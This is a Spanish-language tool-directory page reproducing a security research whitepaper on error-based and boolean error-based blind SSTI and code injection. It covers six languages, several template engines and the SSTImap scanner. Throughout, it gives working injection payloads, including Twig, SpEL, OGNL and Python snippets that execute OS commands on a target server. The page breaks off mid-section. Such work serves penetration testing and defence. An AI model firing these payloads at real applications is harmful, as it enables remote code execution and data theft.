Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Research_Successful_Errors — Whitepaper que presenta técnicas Error-Based y Boolean Error-Based Blind para SSTI y Code Injection, con payloads universales para seis lenguajes de programación e integración en SSTImap. | Kitploit
Herramientas/GitHubGitHub/vladko312/research_successful_errors
Análisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebFuzzingCTFPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubvladko312/research_successful_errors

Research_Successful_Errors

Whitepaper que presenta técnicas Error-Based y Boolean Error-Based Blind para SSTI y Code Injection, con payloads universales para seis lenguajes de programación e integración en SSTImap.

Ver Repositorio
12113hace 5 mesesRevisado por Kitploit

Successful Errors: Nuevas Técnicas de Inyección de Código y SSTI

Versión del informe Última modificación

[!NOTE] Esta es la segunda versión del documento técnico basado en los resultados que presenté antes de lanzar SSTImap versión 1.3.1. Las mejoras adicionales se adaptarán a este formato como versión 1.2 de la investigación en una fecha posterior.

  • Cargas útiles
  • Documento técnico imprimible
  • Diapositivas

Algunas categorías de vulnerabilidades pueden, a primera vista, parecer bien conocidas y algo obvias. Podría parecer que todas las técnicas posibles para esas vulnerabilidades son conocidas, por lo que solo se podrían descubrir cargas útiles para casos inusuales. Server-Side Template Injection (SSTI) y Code Injection a menudo se consideran dentro de esas categorías bien conocidas.

A veces, se encuentran técnicas nuevas con nombres autoexplicativos para esas vulnerabilidades. Muchos investigadores podrían considerar esas técnicas como bien conocidas o incluso recordar haberlas utilizado, pero en realidad, la técnica podría existir solo como un nombre comúnmente entendido sin investigación, descripciones o cargas útiles universales. Podría mencionarse un par de veces junto con cargas útiles para casos muy específicos, pero no se probaría y el potencial real de esa técnica podría permanecer sin descubrir durante años.

Esta investigación introduce dos técnicas de este tipo para Code Injection y SSTI: Error-Based y Boolean Error-Based Blind. Proporcionaré cargas útiles para Code Injection y SSTI en seis lenguajes de programación: Python, PHP, Java, Ruby, NodeJS y Elixir. Además, proporcionaré cargas útiles de detección universales, capaces de detectar incluso inyecciones ciegas.

Proporcionaré la cronología completa de mi investigación, desde encontrar las primeras pistas hasta las conclusiones finales. También exploraré el proceso de creación de nuevas cargas útiles para lenguajes de programación y plantillas no mencionados en esta investigación.

En esta investigación mostraré ejemplos de aplicaciones prácticas de las nuevas técnicas y compartiré áreas potenciales de investigación adicional. Todas las cargas útiles proporcionadas pueden utilizarse para detectar y explotar vulnerabilidades en aplicaciones reales. Además, todas las cargas útiles proporcionadas se agregaron a la herramienta de código abierto SSTImap, lo que facilita la aplicación de los resultados de esta investigación a objetivos del mundo real.

Esquema

  • Introducción
  • Pistas
    • Dust.JS
    • Twig (CVE-2022-23614)
    • JSONPath Plus (CVE-2025-1302)
    • expr-eval (CVE-2025-13204)
  • SSTI basada en errores
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Detección genérica
    • Desarrollo de cargas útiles
  • SSTI ciega basada en errores booleanos
    • Detección de errores
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Detección genérica
    • Desarrollo de cargas útiles
  • Aplicación práctica
    • expr-eval (CVE-2025-13204)
    • JSONPath Plus (CVE-2025-1302)
    • Twig (CVE-2022-23614)
    • Dust.JS
  • Conclusiones
  • Referencias

Introducción

Las vulnerabilidades de Server-Side Template Injection aparecen en sitios web dinámicos que utilizan motores de plantillas para el renderizado del lado del servidor, cuando la entrada del usuario no confiable se inserta en la plantilla antes de que sea procesada por el motor de plantillas. Un actor malicioso puede insertar sintaxis de plantilla válida, que será procesada por un motor de plantillas durante el renderizado de la página. Muchos motores de plantillas proporcionan alguna forma de funcionalidad de ejecución de código, lo que a menudo conduce a Remote Code Execution (RCE) en el servidor objetivo. Esta investigación se centra en los motores de plantillas que proporcionan dichas capacidades en caso de explotación.

Las vulnerabilidades SSTI se conocen desde 2015, y desde entonces se han descubierto muchas cargas útiles que permiten la exfiltración de información, elusión de filtros y escape de sandbox. A pesar de eso, la mayoría de las cargas útiles o bien renderizan el resultado directamente en la página o se centran en el hecho de la ejecución del código en sí, descartando los resultados producidos por ese código.

Flujo de inyección renderizada

Otra técnica bien conocida de SSTI es la ciega basada en tiempo, que implica agregar un retraso al comando de shell ejecutado. Esta técnica permite determinar el éxito de la ejecución del código inyectado, pero requiere adivinar la carga útil para la ejecución del comando del sistema operativo, lo que dificulta la detección de SSTI ciega en un motor de plantillas desconocido para el investigador.

Flujo de inyección ciega basada en tiempo

La clase de vulnerabilidad SSTI y ambas técnicas de explotación conocidas fueron descubiertas en 2015 por James Kettle. Esas técnicas se describen con gran detalle en su investigación “Server-Side Template Injection: RCE For The Modern Web App”. [^1] En diez años desde entonces, no se han documentado nuevas técnicas de explotación. Solo se descubrió una técnica de detección en 2023, que utiliza cargas útiles políglotas para probar múltiples motores de plantillas a la vez. Esta técnica fue descubierta por Maximilian Hildebrand y descrita en su investigación “Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning”. [^2] La técnica se centra en determinar los motores de plantillas utilizando la cantidad mínima de solicitudes, pero solo funciona para contextos de inyección simples.

Flujo de detección basada en políglotas

La mayoría de los motores de plantillas basados en lenguajes de programación interpretados, como PHP, NodeJS y Python, permiten directamente evaluar las expresiones de los lenguajes de programación correspondientes. Esta capacidad nos permite usar cargas útiles para una categoría más amplia de vulnerabilidades de Code Injection, envolviéndolas en el formato correcto de la etiqueta de plantilla.

Code Injection también puede ocurrir sin SSTI, cuando la entrada del usuario no confiable puede llegar a eval() o una función peligrosa similar. A menudo se considera que la explotación de Code Injection es simplemente programar en el lenguaje correspondiente, por lo que las técnicas y cargas útiles solo se documentan para ejemplos específicos de vulnerabilidades, que requieren adaptar el código a la aplicación objetivo.

La falta de técnicas de detección más universales para Code Injection y SSTI conduce a la ineficiencia del escaneo de caja negra para inyecciones de código y plantillas ciegas.

En esta investigación, se proporcionarán dos nuevas técnicas para Code Injection y SSTI, así como cargas útiles para seis lenguajes de programación y cargas útiles de detección genéricas. Las técnicas proporcionadas ampliarán las capacidades de explotación de SSTI ciega, así como permitirán el escaneo de Code Injection y SSTI ciega sin adivinar el lenguaje de programación del código inyectado.

Las cargas útiles proporcionadas en esta investigación están destinadas a pruebas de penetración prácticas de aplicaciones web reales. Todas las cargas útiles presentadas también se incorporan en los módulos de la herramienta de código abierto para detectar SSTI e inyecciones de código llamada SSTImap. [^3] El soporte para dos nuevas técnicas, así como las cargas útiles correspondientes, se agregaron en la versión 1.3.0. Las cargas útiles menos generales y más específicas para la aplicación práctica de las nuevas técnicas, proporcionadas en esta investigación, se incorporan en módulos adicionales de SSTImap, que se pueden encontrar en un repositorio dedicado para módulos “extra”. [^4]

Pistas

Durante el desarrollo de cargas útiles para los módulos de SSTImap, me encontré con limitaciones y descubrimientos que actuaron como pistas que llevaron a las técnicas presentadas en esta investigación. Me encontré con diferentes escenarios de SSTI y Code Injection, donde era imposible obtener la salida del código inyectado utilizando técnicas existentes. Al encontrar tales restricciones, probé diferentes ideas para obtener la salida, lo que eventualmente condujo al descubrimiento de dos nuevas técnicas documentadas en esta investigación.

Dust.JS

La primera pista que insinuaba posibles limitaciones la encontré mientras actualizaba cargas útiles para el motor de plantillas Dust.JS. Este motor se considera obsoleto y parece abandonado, mientras que la ejecución de código solo era posible con las versiones antiguas de dustjs-helpers de 2015. El módulo de SSTImap para este motor fue heredado del código base de Tplmap [^5] y mejorarlo era una tarea de baja prioridad, pero el módulo causaba muchos falsos positivos en el caso de motores de plantillas simples sin lógica.

Bloque if de Dust.JS

Para solucionar el problema, mejoré la carga útil, pero el motor de plantillas y las cargas útiles para él atrajeron mi atención. La inyección de código era posible dentro de la condición del bloque if, que se pasaba directamente a eval(). [^6] El resultado no se mostraba en la página, por lo que se consideró que RCE siempre sería ciego incluso en caso de SSTI reflejada.

Advertencia de Dust.JS sobre eval

En ese momento, investigar un motor de plantillas obsoleto para crear una nueva carga útil tenía muy baja prioridad en mi lista, así que decidí no investigar posibles formas de obtener la salida.

Twig (CVE-2022-23614)

Me encontré con la segunda pista mientras desarrollaba cargas útiles para nuevas versiones del motor de plantillas Twig. Las cargas útiles para versiones anteriores ya estaban corregidas, así que decidí crear un nuevo módulo con cargas útiles actualizadas. Durante mi búsqueda de formas más modernas de explotar Twig, descubrí CVE-2022-23614 que permitía el bypass del sandbox utilizando una de las cargas útiles comunes para versiones modernas. [^7]

Para el nuevo módulo de SSTImap decidí usar una carga útil capaz de esa explotación de bypass del sandbox, ya que también funcionaba para casi todas las versiones de Twig explotables con cargas útiles modernas.

El bypass del sandbox era posible al pasar una cadena que contenía el nombre de una función PHP como parámetro al filtro |sort, lo que hacía que la plantilla llamara a esa función con dos elementos de arreglo como argumentos. De manera similar al caso de Dust.JS, la salida de la función se usa internamente como condición (esta vez para ordenar el arreglo), por lo que no se devuelve al contexto de la plantilla. Esta limitación no obstaculiza la explotación, ya que la función system() en PHP genera los resultados de la ejecución del comando del sistema operativo directamente en la página web, lo que nos permite obtener la salida sin pasar por el motor de plantillas.

Sentí curiosidad por la posibilidad de obtener la salida dentro del motor de plantillas para una posible aplicación como parte de algún bypass o una nueva técnica de explotación de SSTI. No era necesario para crear un nuevo módulo para Twig, así que decidí no asignar tiempo al desarrollo de nuevas cargas útiles para el acceso a los resultados de la inyección dentro de la plantilla.

Descripción de CVE-2022-23614

JSONPath Plus (CVE-2025-1302)

La vulnerabilidad CVE-2025-1302 en el módulo de Node.JS JSONPath Plus anterior a la versión 10.3.0 permite la inyección de código JavaScript arbitrario al acceder al constructor de funciones dentro de la sintaxis de condición extendida para jsonpath. [^8] Decidí crear un nuevo módulo extra de SSTImap para la detección y explotación automática de CVE-2025-1302 en caso de inyección de jsonpath del lado del servidor.

PoC de CVE-2025-1302

Al igual que Dust.JS, la inyección de código solo era posible dentro de la condición, por lo que no había una forma directa de obtener la salida y renderizarla en la página. A pesar de eso, decidí investigar la posibilidad de extraer la salida, lo que eventualmente me llevó a la tercera pista que insinuaba el potencial que finalmente causó los descubrimientos discutidos en esta investigación.

El módulo JSONPath Plus se utiliza para acceder a datos dentro de objetos JSON. En muchos lenguajes de programación interpretados como JavaScript, esos objetos a menudo operan implícitamente como punteros para limitar el consumo de recursos. Al mismo tiempo, el módulo JSONPath Plus permite acceder al objeto que se está buscando usando la sintaxis @root. Encontré una manera de pasar ese objeto al código inyectado dentro de la condición, lo que permitía guardar la salida dentro de atributos del objeto y luego acceder a ellos usando sintaxis jsonpath inyectada.

Este método está lejos de ser una forma universal de acceder a la salida, ya que limita en gran medida los contextos de inyección explotables para escenarios de inyección de código reflejada. Investigué otras formas potenciales de extraer la salida, como la contaminación de prototipos, pero no pude descubrir una técnica más universal. A pesar de eso, esta vez pude extraer la salida de la condición.

expr-eval (CVE-2025-13204)

A diferencia de todos los casos anteriores, donde las limitaciones se encontraron durante el desarrollo de cargas útiles, la última pista que condujo a esta investigación la descubrí mientras exploraba una aplicación real. Estaba probando un constructor de bots sin código para Discord, que permitía a los usuarios personalizar plantillas de mensajes. Por sí mismo, el motor de plantillas utilizado para ese propósito no evaluaba ningún código, pero tenía una etiqueta dedicada para evaluar expresiones matemáticas.

Al examinar diferentes mensajes de error devueltos por esa etiqueta, determiné que las expresiones se evaluaban usando el módulo de Node.JS llamado expr-eval. Este módulo permite RCE a través del acceso al constructor Object que permite el acceso a propiedades arbitrarias (CVE-2025-13204). Modifiqué la carga útil para evitar romper la sintaxis de la etiqueta de plantilla, pero en lugar de los resultados de la ejecución de código solo obtuve NaN.

Carga útil devolvió NaN

Parece que el resultado de expr-eval se convierte en un número por el motor de plantillas, lo que impide la reflexión de la salida de la ejecución de código. Sin embargo, el resultado se convierte en un número solo en caso de evaluación exitosa. En caso de error, la plantilla sustituye la etiqueta con el texto completo de un error, que a veces contiene parte de mi código.

Los errores se muestran

Decidí investigar la posibilidad de extraer los resultados de la ejecución de código a través de esas partes de los mensajes de error. Existe una técnica que permite la extracción de consultas SQL a través de mensajes de error específicamente desencadenados. [^9] Supuse que existían técnicas similares para Code Injection y SSTI.

Descripción de inyección SQL basada en errores

Intenté buscar “Error-based SSTI” y otros nombres potenciales para tales técnicas de SSTI y Code Injection, sin embargo, solo pude encontrar políglotas basados en errores de un solo artículo de investigación realizado en 2023 y una técnica para determinar el motor de plantillas observando el mensaje de error. El único resultado que era incluso remotamente similar a lo que estaba buscando era una sola carga útil para plantillas Freemarker creada por el investigador Nicolas Verdier. [^10]

Carga útil de Freemarker

Esa carga útil permitía determinar el éxito de la ejecución de código en caso de inyección ciega al desencadenar condicionalmente un error. Existe una técnica similar para inyección SQL que confirmó mis suposiciones de que técnicas similares podrían funcionar para Code Injection y SSTI.

Me di cuenta de que la técnica que estaba buscando no estaba documentada antes, así que decidí realizar esta investigación para desarrollar las cargas útiles necesarias. Además, decidí agregar esa técnica a mi herramienta de código abierto SSTImap.

SSTI basada en errores

Decidí desarrollar cargas útiles que nos permitieran desencadenar errores que contengan el resultado de la ejecución de código como parte del mensaje de error. Una técnica similar ya existe para inyecciones SQL. Por ejemplo, CONVERT(INT, …) en SQL convierte una cadena en un número. Si la cadena no representa un número válido, la base de datos devolverá un mensaje de error que contiene esa cadena. Si ese mensaje de error se muestra al usuario, podemos obtener la salida incluso de inyecciones que de otro modo serían ciegas.

Se puede usar un enfoque similar para SSTI y Code Injection. Algunos mensajes de error reflejan datos proporcionados por el usuario, lo que nos permite usar esos errores para obtener la salida del código inyectado.

Flujo de inyección basada en errores

Los lenguajes de programación generalmente permiten a los usuarios crear errores con mensajes de error personalizados, pero a menudo es imposible usar directamente esas capacidades durante la explotación de la vulnerabilidad. En la mayoría de los casos, la inyección solo permite la evaluación de expresiones, lo que impide que el código inyectado use construcciones del lenguaje necesarias para lanzar errores o crear nuevas clases de error. Para hacer que mis cargas útiles sean más universales y tengan una mejor cobertura, decidí centrarme en inyecciones en contextos de expresiones de lenguaje, donde solo se permiten operadores básicos, literales y llamadas a funciones.

Por lo tanto, para la explotación de SSTI y Code Injection utilizando esta técnica, tuve que encontrar mensajes de error que reflejen datos proporcionados por el usuario. En la mayoría de los casos, las cargas útiles de Code Injection podrían usarse para explotar SSTI envolviendo las cargas útiles con etiquetas de plantilla. Como parte de esta investigación, cubriré cargas útiles para cinco lenguajes de programación: Python, PHP, Ruby, NodeJS y Elixir, así como para motores de plantillas compatibles con SSTImap, si dichas cargas útiles difieren significativamente de las cargas útiles del lenguaje de programación correspondiente. Además, este documento cubrirá cargas útiles para motores de plantillas basados en Java, así como cargas útiles de detección universales.

Python

Al comienzo de mi investigación, decidí encontrar cargas útiles para el lenguaje de programación Python que uso a menudo en mis tareas diarias. Inicialmente, intenté aplicar el mismo principio que para la inyección SQL convirtiendo la cadena en entero. En ese caso, el mensaje de error efectivamente refleja la cadena proporcionada por el usuario, pero pronto descubrí que las cadenas largas se truncan, por lo que solo se reflejan los primeros 199 caracteres.

La cadena se trunca

Decidí buscar otros mensajes de error que permitieran la reflexión de cadenas proporcionadas por el usuario de longitud arbitraria. El acceso a un atributo inexistente usando la función getattr() resultó desencadenar dicho error. Como resultado, obtuve getattr("", SALIDA) como carga útil, que refleja la cadena SALIDA sin restricciones de longitud.

Se pueden extraer archivos largos

Esta carga útil funciona para todos los motores de plantillas basados en Python probados, aunque Jinja2 requirió algunas modificaciones para llamar a la función getattr() de Python:```python3 {{ cycler.init.globals.builtins.getattr("", OUTPUT) }}

root@kitploit:~
Además, para el motor de plantillas Jinja2 descubrí otro payload que desencadena el error *TemplateNotFound*: `{% include OUTPUT %}`.  
Este payload fue añadido al antiguo módulo Jinja2 de SSTImap.

![Jinja2 error](https://assets.kitploit.com/production/public/readmes/10936/62b21955cb2095d8dffa831b8024a1f0b1d273e0a0749006a621c78996b51a5d.png)

### PHP
Para la explotación basada en errores de inyección de código PHP, descubrí múltiples mensajes de error que tenían distinta aplicabilidad para diferentes motores de plantillas.
Por ejemplo, PHP permite llamar a una cadena como función con el nombre igual al contenido de la cadena.
Si dicha función no existe, el mensaje de error producido contendrá la cadena suministrada completa.
Como resultado, obtenemos un payload simple: `OUTPUT()`

Ese payload no funciona en la mayoría de los motores de plantillas, por lo que continué mi investigación y descubrí el error desencadenado al intentar abrir archivos inexistentes usando la función `fopen()`.
Este payload funciona en casi todos los motores de plantillas probados: `fopen(OUTPUT, "r")`

Además, encontré la función `include()` que desencadenaba un error similar.
El payload `include(OUTPUT)` o uno similar podría usarse en la mayoría de los motores de plantillas que proporcionan capacidades de herencia de plantillas.

Los payloads que usaban `fopen()` y `include()` fallaron en algunos casos.
Resultó que esas funciones causan **Warnings** de PHP que podrían representarse dentro de la salida de la plantilla a la que no tenemos acceso.

Decidí modificar el primer payload usando `call_user_func()` para llamar a una cadena como función sin usar la sintaxis específica de PHP.
Como resultado, obtuve el payload: `call_user_func(OUTPUT)`, que desencadena un **error fatal**, interrumpiendo la renderización y reflejando el mensaje de error directamente en la página.

![PHP payload and error](https://assets.kitploit.com/production/public/readmes/10936/3f539c6ae4bde73fb99c253e845686869b1eb12d0dc2f5c3c8d19af95c0d8893.png)

Comúnmente usada para RCE, la función `system()` imprime la salida en la página, pero solo devuelve la primera línea del resultado.
Para capturar la salida completa, decidí usar `shell_exec()`.
Esta función acepta exactamente un argumento, por lo que funcionó bien para la mayoría de los motores de plantillas, incluyendo versiones antiguas de **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}

Para versiones más recientes de Twig, usé el filtro |map para preservar la salida, pero pasaba el índice del array como segundo elemento, lo que imposibilitaba usar directamente la función shell_exec().
Para evitar esa limitación, usé la función call_user_func() para invocar shell_exec() y un diccionario en lugar de un array para controlar los valores de los índices:```php {% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}

root@kitploit:~
Para provocar el error en Twig y obtener los resultados de ejecución, podemos usar el payload de **error fatal** que desencadena la función inexistente: `{{ [0]|map(OUTPUT) }}` o incluye el archivo inexistente: `{% include(OUTPUT) %}`

![Twig error message](https://assets.kitploit.com/production/public/readmes/10936/2a7d471317458f90a23da3e811d93ed1c9e461bd637dee7f75eef1e4e87744ba.png)

### Java
Java no proporciona una funcionalidad universal de evaluación de código incorporada, por lo que no existen payloads universales para Java.
En su lugar, se usan lenguajes de expresión, como **Spring Expression Language** (**SpEL**).
Para ese lenguaje, es posible usar un truco simple de convertir una cadena a un número:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)

Este payload también funcionará para otros lenguajes de expresión similares. Para verificar la sintaxis de SpEL, podemos utilizar la forma específica de SpEL de acceder a clases: T(java.lang.Integer).valueOf(OUTPUT)

Para obtener los resultados de la ejecución de un comando del SO como una cadena, podemos usar el payload:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

root@kitploit:~
![SpEL error message](https://assets.kitploit.com/production/public/readmes/10936/f162ff2fe1b9b1a081cb85d6c64102a74426d768f1a2601949b93ccb5103d118.png)

Otro lenguaje de expresión común usado en Java es **OGNL**.
Este lenguaje desencadena un error que contiene la cadena proporcionada por el usuario cuando esa cadena se usa en una operación aritmética: `OUTPUT/0`

El resultado de RCE podría convertirse a cadena usando este payload:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())

También creé payloads para dos motores de plantillas basados en Java compatibles con SSTImap.

Por ejemplo, las plantillas Freemarker permiten una construcción limitada de objetos aplicando el filtro ?new() a la cadena que contiene el nombre de la clase correspondiente. Si dicha clase no existe, el mensaje de error reflejará la cadena completa. Esto se podría usar para crear un payload simple: ${ OUTPUT?new() }

Mensaje de error de Freemarker

El motor de plantillas Velocity soporta la inclusión de plantillas mediante la directiva #include(). Para plantillas inexistentes, el mensaje de error reflejará el nombre proporcionado: #include(OUTPUT)

Mensaje de error de Velocity

Ruby

El payload para Ruby podría usarse tanto para Inyección de Código como para SSTI y utiliza el error que se genera al acceder a un archivo inexistente, algo común en esta técnica: File.read(OUTPUT)

Payload de Ruby y mensaje de error

NodeJS

Para Inyección de Código basada en errores en NodeJS es posible provocar el error incluyendo un módulo inexistente mediante la función require(), si es accesible en el contexto de inyección: require(OUTPUT)

Alternativamente, JavaScript genera un error reflectante al acceder a una propiedad de undefined: ""["x"][OUTPUT]

Elixir

El lenguaje de programación Elixir refleja la cadena dentro de un mensaje de error cuando esa cadena se usa como índice de una lista en lugar de un objeto atom: [1, 2][OUTPUT]

El resultado de la ejecución de un comando del sistema operativo podría reflejarse usando [1, 2][elem(System.shell(" … "), 0)]

Mensaje de error de Elixir

Detección genérica

Para la detección basada en errores de SSTI e Inyección de Código necesitamos un payload que provoque un error en cualquier lenguaje de programación. En ese caso, sería posible detectar el lenguaje de programación mediante un mensaje de error típico o al menos encontrar las palabras clave que indiquen la presencia de un error, si el lenguaje de programación aún no es compatible.

Mi primera idea para crear dicho payload fue usar la división por cero, pero algunos lenguajes de programación como JavaScript no tratan dicho payload como un error, simplemente devuelven NaN. Para manejar esos casos decidí agregar una llamada a la función indefinida: (1/0)+zxy()

El nuevo payload provocó un error en NodeJS, pero desencadenó errores de sintaxis diferentes en algunos motores de plantillas basados en PHP, lo que complicó la detección del lenguaje de programación.

Para evitar la detección temprana de la función inexistente durante el análisis de la plantilla, decidí actualizar el payload para usar el error provocado al acceder a la propiedad de undefined. El acceso a atributos requerirá la evaluación de la primera parte, mientras que en el caso de la concatenación de cadenas en PHP todas las partes se evaluarán en tiempo de ejecución comenzando con la división por cero. Como resultado, creé un payload capaz de detectar reflexiones de mensajes de error detallados en caso de inyecciones genéricas: (1/0).zxy.zxy

Para el módulo de SSTImap agregué la detección de mensajes de error típicos para los cinco lenguajes de programación compatibles, así como la búsqueda de palabras clave para detectar el tipo de error si el lenguaje de programación o el motor de plantillas aún no es compatible.

Inyección de plantilla Groovy detectada en SSTImap con payload de detección genérica

Desarrollo de payloads

Después de detectar la reflexión detallada de errores y determinar el lenguaje de programación por el texto del error, aún necesitaríamos encontrar un mensaje de error que refleje el valor proporcionado por el usuario para crear payloads para RCE basado en errores. Generalmente, estos errores pueden provocarse al acceder a archivos y módulos inexistentes, durante interacciones inusuales con objetos especiales como null o undefined, así como en casos de funciones, clases o atributos inexistentes. En contraste, los errores de sintaxis no proporcionan capacidades de extracción de datos, ya que interrumpen el análisis de la plantilla antes de que se evalúe cualquier código inyectado.

Para una explotación automatizada exitosa, debes asegurarte de que los textos largos y de múltiples líneas no se trunquen. Además, es importante evitar situaciones donde el resultado sea igual a algo válido que no provocaría un error. Para esos casos, se debe agregar un prefijo que haga que cualquier salida sea inválida. Por ejemplo, es muy poco probable que el sitio web objetivo tenga archivos, clases o atributos que comiencen con Y:/A:/.

SSTI ciega basada en errores booleanos

La mayoría de los servidores web y aplicaciones modernas deshabilitan la salida detallada de errores, lo que impide la explotación de la Inyección de Código y SSTI basadas en errores. En tales casos, es imposible obtener el texto completo de un mensaje de error, pero el error en sí mismo generalmente aún se puede detectar. Esto nos permite determinar el éxito de la inyección ciega detectando un error provocado condicionalmente.

Página de error personalizada

De hecho, diferentes respuestas podrían exponer el resultado de la inyección ciega. Por ejemplo, en el caso de Inyección SQL ciega basada en booleanos, un payload como AND SUBSTRING((…), 1, 1) = 's' solo devolvería resultados si el valor objetivo comienza con el carácter s. Esta técnica se basa en un comportamiento diferente de la aplicación en los casos en que no se devuelven resultados. Esto no es aplicable a la mayoría de los casos de Inyección de Código y SSTI.

Descripción de SQLi basada en booleanos

Sin embargo, existe una técnica similar llamada Inyección SQL ciega basada en errores, en la que el valor objetivo se usa para provocar condicionalmente un error solo en uno de los casos, sin interrumpir el otro: CASE WHEN 1=1 THEN 1 ELSE json('') END

Página de error predeterminada

Dicha técnica podría adaptarse para funcionar con Inyección de Código y SSTI. Además, ya me había encontrado con un payload para esa técnica antes. Era un payload para el motor de plantillas Freemarker de Nicolas Verdier, mencionado anteriormente en esta investigación. [^10]

Payload de Freemarker

Los lenguajes de programación ya nos permiten tener condiciones que determinan qué código se ejecutará. Esto se puede lograr utilizando construcciones u operadores de lenguaje especiales. Sin embargo, al igual que con la técnica basada en errores, decidí evitar las construcciones de lenguaje en payloads de Inyección de Código más universales, ya que no serán accesibles en muchos contextos de inyección. También decidí evitar el uso del operador condicional ternario, ya que operadores tan complejos podrían no ser compatibles con muchos motores de plantillas y otros contextos de inyección que utilizan sus propios analizadores.

Para evitar falsos positivos, el error debería provocarse en el caso de que nuestra inyección no haya proporcionado un resultado válido, ya que podría ser imposible diferenciar los errores provocados deliberadamente por nuestra inyección de cualquier otro error que el payload pudiera haber causado.

Detección de errores

Para automatizar las pruebas de Inyección de Código y SSTI ciegas basadas en errores booleanos, necesitaríamos una forma de detectar errores en las respuestas del servidor. Los usuarios podrían proporcionar expresiones regulares para detectar páginas normales o de error, pero también podríamos intentar detectar los errores comparando el código y la longitud de la respuesta, las cabeceras y otros parámetros con los parámetros correspondientes de la respuesta normal.

Independientemente del enfoque que elijamos, necesitaríamos usar dos pares de payloads similares. Las diferencias mínimas entre los payloads de cada par evitarían falsos positivos causados por errores de WAF o proxies, mientras que el uso de dos pares mitigaría los falsos positivos causados por problemas externos aleatorios.

Para determinar la respuesta normal de la aplicación, decidí usar payloads numéricos para evitar errores de sintaxis en la mayoría de los contextos de inyección. Se comparan múltiples respuestas para determinar los parámetros más estables de la respuesta de la aplicación. La primera solicitud se descarta para evitar cualquier interferencia de las acciones que la aplicación podría realizar durante la primera conexión desde una nueva dirección IP.

Se seleccionaron múltiples parámetros para la comparación de solicitudes:

  • Código de respuesta HTTP
  • Tiempo de respuesta
  • Codificación de la respuesta
  • Longitud de la respuesta en bytes
  • Longitud de la respuesta en caracteres
  • Número de palabras en la respuesta
  • Número de líneas en la respuesta
  • Número de cabeceras
  • Número de cookies
  • Número de redirecciones
  • URL de la página final
  • Valor de la cabecera Content-Type
  • Valor de la cabecera Server

Los parámetros se consideran estables si se mantienen iguales en todas las respuestas o si fluctúan dentro del 5% del promedio (para valores numéricos).

Flujo de inyección basada en booleanos

Python

Para determinar la veracidad de los resultados de la inyección, podríamos usar la división por un valor booleano. Un valor verdadero se convertiría en uno, lo que no provoca un error, mientras que los valores que se evalúan como False provocarían un error de división por cero. Podríamos usar esta expresión como nuestro payload: 1 / ( OUTPUT )

Para detectar la inyección, se podrían usar estos dos pares de payloads:

  • 'a'.join('bc') == 'bac' y 'a'.join('bc') == 'abc'
  • bool('False') == True y bool('True') == False

La ejecución de código es posible mediante bool(eval( … )), mientras que la ejecución de comandos del sistema operativo se puede verificar con os.popen( … )._proc.wait() == 0 a partir de Python 3.6.

En la mayoría de los motores de plantillas basados en Python, estos payloads se pueden usar tal cual, mientras que Jinja2 no permite el acceso directo a las funciones integradas de Python. Como resultado, el payload para Jinja2 es un poco más complejo:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

root@kitploit:~
![Prueba de payload Jinja con SSTImap](https://assets.kitploit.com/production/public/readmes/10936/9389ea206b96de22e9d5382a5e811f4277598355c20c0ed8825720b13620ddbe.png)

### PHP
PHP también permite usar payloads como `1 / ( … )` para determinar el éxito de la inyección.
Para detectar la inyección, se eligieron estos dos pares de payloads:

- `'2' + '3' == 5` and `'2' + '5' == 3`
- `strlen('2') == 1` and `strlen('1') == 2`

Los resultados de la evaluación del código se pueden acceder usando `true && eval( … )`, y el código de retorno de la ejecución del comando del sistema operativo se puede verificar con `pclose(popen( … , "wb")) == 0`

Estos payloads funcionan para todos los motores de plantillas probados excepto **Twig**.
Las versiones antiguas del motor de plantillas Twig nos permiten usar un payload como este:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}} 

Es imposible obtener el código de retorno, por lo que se añade una cadena conocida al final de la salida en caso de éxito para que sea verificada por el motor de plantillas. Un enfoque similar funciona para versiones más recientes de Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

root@kitploit:~
![Twig error](https://assets.kitploit.com/production/public/readmes/10936/e9e89c81e51a6f2eb646621a50f7ea1b46fac661d4d87dbdfb793ee1c0c0c01c.png)

### Java
Una vez más, la falta de una forma universal de evaluación de código Java nos obliga a crear diferentes payloads para cada uno de los motores de plantillas compatibles.

Para **Spring Expression Language** usé la misma idea que antes, pero requirió algunas modificaciones adicionales para las conversiones de tipo: `1/(( … )?1:0)+""`

El operador ternario se utiliza para convertir el resultado a `0` o `1`, y la concatenación de una cadena vacía se usa para evitar errores causados por un tipo de retorno incorrecto.

Para los payloads de detección reemplacé `1` con `"".getClass().forName('java.lang.Integer').valueOf('1')`, lo que nos permite confirmar que la inyección soporta código **Java**.
Para mis dos pares de payloads de detección, usé sumas de enteros simples, verificando el desbordamiento de enteros en el segundo par.

La ejecución de comandos del sistema operativo se verificó comparando el código de retorno de la función `waitFor()` con cero:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0

